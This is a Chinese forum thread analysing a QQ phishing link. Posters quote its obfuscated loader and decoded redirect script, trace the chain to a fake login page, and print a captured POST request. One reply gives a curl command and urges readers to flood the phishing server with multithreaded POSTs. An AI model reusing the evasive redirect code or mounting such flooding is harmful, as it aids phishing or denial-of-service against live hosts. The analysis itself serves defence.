收到一个疑似盗取 QQ skey 的链接,请各位大佬能帮忙深入分析下。

186 天前
 novobo

昨天突然收到一个好友 qq 消息,让我点击投票,这链接看着就很诡异:www.0bf4.fun/zJUk (谨慎打开)。于我就在手机浏览器中单独打开发现跳转了好几次,最终跳转至了 qq.com/404 。今天用电脑打开看了下网页源代码,发现跳转至 https://file.shenlanbao.com/2024/05/11/1238938783697752064.png (谨慎打开),用别人深蓝保的网站上传了一段一个 js 文件,这日期还挺新鲜的,代码如下:

<script>
function FbQkvAAuUccjWjsZsV(FbQkvAAuUccjWjsZsV){document.write((unescape(FbQkvAAuUccjWjsZsV)));};FbQkvAAuUccjWjsZsV("0D 0A 3C 21 44 4F 此处省略若干 0A 0D 0A".replace(/ /g,'%'));</script>

我用 python 解码了下,其中一段如下,不过本人计算机知识有限,不懂它在干嘛,只看到一堆跳转嵌套,大佬们能给分析下吗

     var ua = navigator.userAgent.toString();

     var urlParams = new URLSearchParams(window.location.search);
     var t = urlParams.get('t');

     if(t)
     {
         var ua = navigator.userAgent.toString();
         if (ua.indexOf("QQ") !== -1) {
                    urls = decode(t);


                  document.getElementById("reportFrame").src=urls+'#?,WorldPro?9xx1?url=https://mp.weixinbridge.com/mp/wapredirect?url=http%253A%252F%252Fvk.vvzan.com#rdtype2=4&rdtype3=3002529&rdurl=http://ptlogin2.qq.com/jump?u1=http://grouproam.qq.com/cgi-bin/httpconn?htcmd=0x6ff0080&u=http://ptlogin2.fm.qq.com/jump?u1=http://ptlogin2.tenpay.com/jump?skey=@7bmBHm0XLp&u1=http://cf.qq.com/comm-htdocs/milo_mobile/login.html?s_url=http://lol.qq.com/comm-htdocs/milo_mobile/login.html?s_url=http://dnf.qq.com/comm-htdocs/milo_mobile/login.html?s_url=http://htdata2.qq.com:80/cgi-bin/httpconn?htcmd=0x6ff0080&u=http://grouproam.qq.com/cgi-bin/httpconn?htcmd=0x6ff0080&u=http://ptlogin2.fm.qq.com/jump?u1=http://ptlogin2.tenpay.com/jump?skey=@7bmBHm0XLp&u1=http://htdata2.qq.com:80/cgi-bin/http'+generateRandomString(20);



             }else{

               window.parent.location.href='http://qq.com/404';
             }

     }else{


            window.parent.location.href='http://qq.com/404';

     }
3015 次点击
所在节点    信息安全
16 条回复
winjeb
186 天前
这种问题问 GPT 会不会更好一点?
winjeb
186 天前
这个代码包含一些恶意行为,意在诱导用户点击链接并执行多个重定向,可能最终导致恶意软件的安装或窃取用户信息。以下是对该代码的详细分析:

### 源代码分析

```javascript
<script>
function FbQkvAAuUccjWjsZsV(FbQkvAAuUccjWjsZsV){document.write((unescape(FbQkvAAuUccjWjsZsV)));};
FbQkvAAuUccjWjsZsV("0D 0A 3C 21 44 4F 此处省略若干 0A 0D 0A".replace(/ /g,'%'));
</script>
```

这个脚本的作用是将一段被编码的字符串解码并写入页面。`unescape` 函数将 `FbQkvAAuUccjWjsZsV` 变量中的十六进制字符串转换为可读的文本,然后 `document.write` 将其写入页面。

### 解码后的 JavaScript 代码

```javascript
var ua = navigator.userAgent.toString();

var urlParams = new URLSearchParams(window.location.search);
var t = urlParams.get('t');

if(t) {
var ua = navigator.userAgent.toString();
if (ua.indexOf("QQ") !== -1) {
urls = decode(t);
document.getElementById("reportFrame").src = urls + '#?,WorldPro?9xx1?...' + generateRandomString(20);
} else {
window.parent.location.href = 'http://qq.com/404';
}
} else {
window.parent.location.href = 'http://qq.com/404';
}
```

### 具体分析

1. **User Agent 检测**:
```javascript
var ua = navigator.userAgent.toString();
```
这段代码获取用户代理字符串,用于检测访问者使用的浏览器或应用。

2. **URL 参数解析**:
```javascript
var urlParams = new URLSearchParams(window.location.search);
var t = urlParams.get('t');
```
从 URL 中获取参数 `t` 的值。

3. **条件判断和重定向**:
```javascript
if(t) {
if (ua.indexOf("QQ") !== -1) {
urls = decode(t);
document.getElementById("reportFrame").src = urls + '#?,WorldPro?9xx1?...' + generateRandomString(20);
} else {
window.parent.location.href = 'http://qq.com/404';
}
} else {
window.parent.location.href = 'http://qq.com/404';
}
```
- 如果 URL 参数 `t` 存在,并且用户代理字符串中包含 `"QQ"`,则调用 `decode` 函数对 `t` 进行解码,生成 URL ,并将其赋给一个 iframe 的 `src` 属性。
- 如果不满足条件,则重定向到 `http://qq.com/404`。

### 主要功能

- **用户代理检测**: 代码专门检查是否在 QQ 浏览器或 QQ 应用中运行,表明攻击者可能针对 QQ 用户进行钓鱼或恶意行为。
- **多重重定向**: 使用 `decode(t)` 解码参数 `t`,生成一个可能包含恶意链接的 URL 。这个 URL 通过 iframe 加载,可能执行进一步的重定向或载入恶意内容。
- **避免检测**: 如果不符合特定条件(例如不是在 QQ 中打开),则重定向到一个无害的 404 页面,避免引起怀疑。

### 建议

1. **避免点击可疑链接**: 不要点击或访问任何来历不明的链接。
2. **安全检查**: 在不确定链接安全性的情况下,可以使用安全工具或沙盒环境进行检查。
3. **提升安全意识**: 提高对网络钓鱼和恶意链接的警惕性,避免因好奇心或信任而造成安全风险。
4. **报告**: 如发现可疑链接,可向相关平台或安全部门报告,以便采取措施防范。

这个代码片段表明其目的可能是通过诱导点击,实施恶意重定向,获取用户敏感信息或进行其他恶意行为。务必谨慎处理此类情况,确保个人信息和设备的安全。
Kinnice
186 天前
@winjeb 没重点,重点是如何盗取信息,攻击链条是什么样的. 你这个就是纯翻译代码
yuaotian
186 天前
搞定了,就是钓鱼页面
最后会跳转到一个
http://w.mmf889q2z06.top
完整 URL: http://w.mmf889q2z06.top#?,WorldPro?9xx1?url=https://mp.weixinbridge.com/mp/wapredirect?url=http%253A%252F%252Fvk.vvzan.com#rdtype2=4&rdtype3=3002529&rdurl=http://ptlogin2.qq.com/jump?u1=http://grouproam.qq.com/cgi-bin/httpconn?htcmd=0x6ff0080&u=http://ptlogin2.fm.qq.com/jump?u1=http://ptlogin2.tenpay.com/jump?skey=@7bmBHm0XLp&u1=http://cf.qq.com/comm-htdocs/milo_mobile/login.html?s_url=http://lol.qq.com/comm-htdocs/milo_mobile/login.html?s_url=http://dnf.qq.com/comm-htdocs/milo_mobile/login.html?s_url=http://htdata2.qq.com:80/cgi-bin/httpconn?htcmd=0x6ff0080&u=http://grouproam.qq.com/cgi-bin/httpconn?htcmd=0x6ff0080&u=http://ptlogin2.fm.qq.com/jump?u1=http://ptlogin2.tenpay.com/jump?skey=@7bmBHm0XLp&u1=http://htdata2.qq.com:80/cgi-bin/http2KIZqt2CBCayOge4H23S

它搞这些大概率是为了骗过 QQ 内置浏览器的安全提醒,

然后也抓到包了,登录界面一眼假。。。

https://w.mmf889q2z06.top/qq/login
host: w.mmf889q2z06.top
content-length: 41
sec-ch-ua: "Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"
x-csrf-token: y7iPAqFKPs1DlRcsT3VyFknCyVTq9vYfB3NQcOoG
sec-ch-ua-mobile: ?0
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
content-type: application/x-www-form-urlencoded; charset=UTF-8
accept: */*
x-requested-with: XMLHttpRequest
sec-ch-ua-platform: "Windows"
origin: https://w.mmf889q2z06.top
sec-fetch-site: same-origin
sec-fetch-mode: cors
sec-fetch-dest: empty
referer: https://w.mmf889q2z06.top/qq/login?id=8
accept-encoding: gzip, deflate, br, zstd
accept-language: en,zh-CN;q=0.9,zh;q=0.8
cookie: laravel_session=eyJpdiI6ImRCWVwvWEJicUVKbkpLUTlDK25seFd3PT0iLCJ2YWx1ZSI6Im5INzBFNzVLVEk4eFRQZWw4bzFnbTZYWStyOTlvYks0K3Q2RERKYnN0XC92R0FsOUw1bk1FTmhCV1lFbEhIV3JOIiwibWFjIjoiZjQ1YTE2YjNiY2FmZjMxOTU5YjFkODMxZDUyYzFjNzczZDhmZDRkOTFmZmZlYzQ5NTE2ZGRmNjAyNzlhYWQ3YyJ9
priority: u=1, i

id=8&username=111112222&password=tt&area=

返回值
{
"code": 200,
"msg": "提交成功",
"data": "111112222"
}


下面是一段代码,大家有兴趣就写一个多线程 POST 刷爆对方把

curl -X POST 'https://w.mmf889q2z06.top/qq/login' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36' -H 'Accept-Encoding: gzip, deflate, br, zstd' -H 'sec-ch-ua: "Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"' -H 'x-csrf-token: y7iPAqFKPs1DlRcsT3VyFknCyVTq9vYfB3NQcOoG' -H 'sec-ch-ua-mobile: ?0' -H 'content-type: application/x-www-form-urlencoded; charset=UTF-8' -H 'x-requested-with: XMLHttpRequest' -H 'sec-ch-ua-platform: "Windows"' -H 'origin: https://w.mmf889q2z06.top' -H 'sec-fetch-site: same-origin' -H 'sec-fetch-mode: cors' -H 'sec-fetch-dest: empty' -H 'referer: https://w.mmf889q2z06.top/qq/login?id=8' -H 'accept-language: en,zh-CN;q=0.9,zh;q=0.8' -H 'priority: u=1, i' -H 'Cookie: laravel_session=eyJpdiI6ImRCWVwvWEJicUVKbkpLUTlDK25seFd3PT0iLCJ2YWx1ZSI6Im5INzBFNzVLVEk4eFRQZWw4bzFnbTZYWStyOTlvYks0K3Q2RERKYnN0XC92R0FsOUw1bk1FTmhCV1lFbEhIV3JOIiwibWFjIjoiZjQ1YTE2YjNiY2FmZjMxOTU5YjFkODMxZDUyYzFjNzczZDhmZDRkOTFmZmZlYzQ5NTE2ZGRmNjAyNzlhYWQ3YyJ9' --data-urlencode 'id=8' --data-urlencode 'username=111112222' --data-urlencode 'password=tt' --data-urlencode 'area='
MossFox
186 天前
@yuaotian #4
牛逼,搜了一圈还在想是不是在利用 QQ 内置浏览器的登陆验证漏洞,结果就是为了绕过拦截重定向到典型得不能再典型的钓鱼网页……
yuaotian
186 天前
@MossFox 是啊,绕了一个好大的圈子,结果就这,白高兴了,还真以为是利用了 qq 某个网站漏洞搞 skey
novobo
186 天前
@yuaotian 原来如此,搞这么复杂就是骗过 QQ 内置浏览器的安全提醒🤦‍♂️
novobo
186 天前
@MossFox 平时手机只用内置的 safari 偶尔用 firefox ,手机地区切换到了台湾,早已经忘记国产浏览器拿手的安全拦截了。我还是觉得这个人没必要只限定 qq 类的浏览器。昨天用 safari 打开的时候直接跳转到了 qq 网站我还担心是不是有什么跨站攻击窃取啥的,(不太懂,见笑了,嘿嘿嘿。
另外翻了深蓝保的网站,没有任何登录注册的互动板块,好奇怎么传的文件。
miyuki
186 天前
skey 现在应该很难很难偷到了
drymonfidelia
186 天前
@Livid 2 楼 GPT 无关回复
baleeny
185 天前
@drymonfidelia 不至于吧,人家一楼说了问下 GPT 。。。
drymonfidelia
185 天前
@baleeny 说的都是废话,真正目的 GPT 没想到
baleeny
185 天前
@drymonfidelia 对,我知道,我说的意思是人家一楼说了下用 GPT 试一下 0.0 ,不是直接用 GPT 回复的哈哈哈,不过想了想你说的也没问题,是无关回复
Y25tIGxpdmlk
185 天前
@Kinnice #3 盲猜最后的原理还是伪造一个登陆界面,让你自己输入账号密码进去。应该没有通过技术手段获取你的权限得腾讯 0day 漏洞。
如果有,应该可以卖不少钱了。不至于用来做这么 low 的钓鱼
Y25tIGxpdmlk
185 天前
@miyuki #9 有这种能获取到 skey 的接口或者 0day 漏洞,可以卖不少钱了,不会这么轻易就拿出来钓鱼用
yuaotian
185 天前
@novobo 是的,贼拉无语,果然最朴素的盗号就是钓鱼,哈哈哈哈哈

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/1042050

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX